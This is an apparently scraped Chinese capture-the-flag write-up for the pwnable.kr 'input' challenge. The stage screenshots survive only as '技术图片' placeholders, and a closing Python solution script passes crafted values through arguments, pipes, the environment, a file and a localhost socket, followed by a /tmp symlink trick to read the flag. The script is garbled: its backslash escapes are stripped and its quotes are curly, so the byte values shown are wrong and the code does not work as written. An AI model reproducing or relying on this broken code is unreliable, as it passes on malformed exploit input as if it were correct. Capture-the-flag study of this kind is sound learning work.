pwnable.kr-input-witeup

Posted hywz36

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了pwnable.kr-input-witeup相关的知识,希望对你有一定的参考价值。

查看代码,有5个stage,一一解决掉就能愉快看到flag了。

第一个stage:

技术图片

解决方案:

技术图片

技术图片

 

第二个stage:

技术图片

 

解决方案:

使用了os.pipe()函数功能,os.pipe()用于创建一个管道,返回一对文件描述符(r,w)分别为读和写。

技术图片

技术图片

第三个stage:

技术图片

解决方案:

技术图片

第四个stage:

技术图片

解决方案:

技术图片

第五个stage:

技术图片

解决方案:

技术图片

解决方案全代码:

#!/usr/bin/python
import subprocess
import os
import socket

str1=[‘a‘]*100
str1[0]=‘./input‘
str1[ord(‘A‘)]=""
str1[ord(‘B‘)]="x20x0ax0d"
str1[ord(‘C‘)]="65530"

stdinr,stdinw=os.pipe()
os.write(stdinw,"x00x0ax00xff")
stderrr,stderrw=os.pipe()
os.write(stderrw,"x00x0ax02xff")

os.environ["xdexadxbexef"]="xcaxfexbaxbe"

with open(‘./x0a‘,‘wb‘) as fd:
	fd.write("x00x00x00x00")

subprocess.Popen(str1,stdin=stdinr,stderr=stderrr,env=os.environ)

obj=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
obj.connect((‘127.0.0.1‘,65530))
obj.send("xdexadxbexef")
obj.close()

 这并没有结束,登上远程主机发现没有用,查看目录权限,

 技术图片

tmp目录可写,就进去通过ln -s建立flag和input的软连接,并创建python脚本愉快地执行,完成。

 

以上是关于pwnable.kr-input-witeup的主要内容,如果未能解决你的问题,请参考以下文章

在区分源代码,对象代码,汇编代码和机器代码时,我有一个困惑

Java中普通代码块,构造代码块,静态代码块区别及代码示例

Java中普通代码块,构造代码块,静态代码块区别及代码示例2 构造代码块

Java中普通代码块,构造代码块,静态代码块区别及代码示例2 构造代码块

上古卷轴5代码

低代码究竟是啥?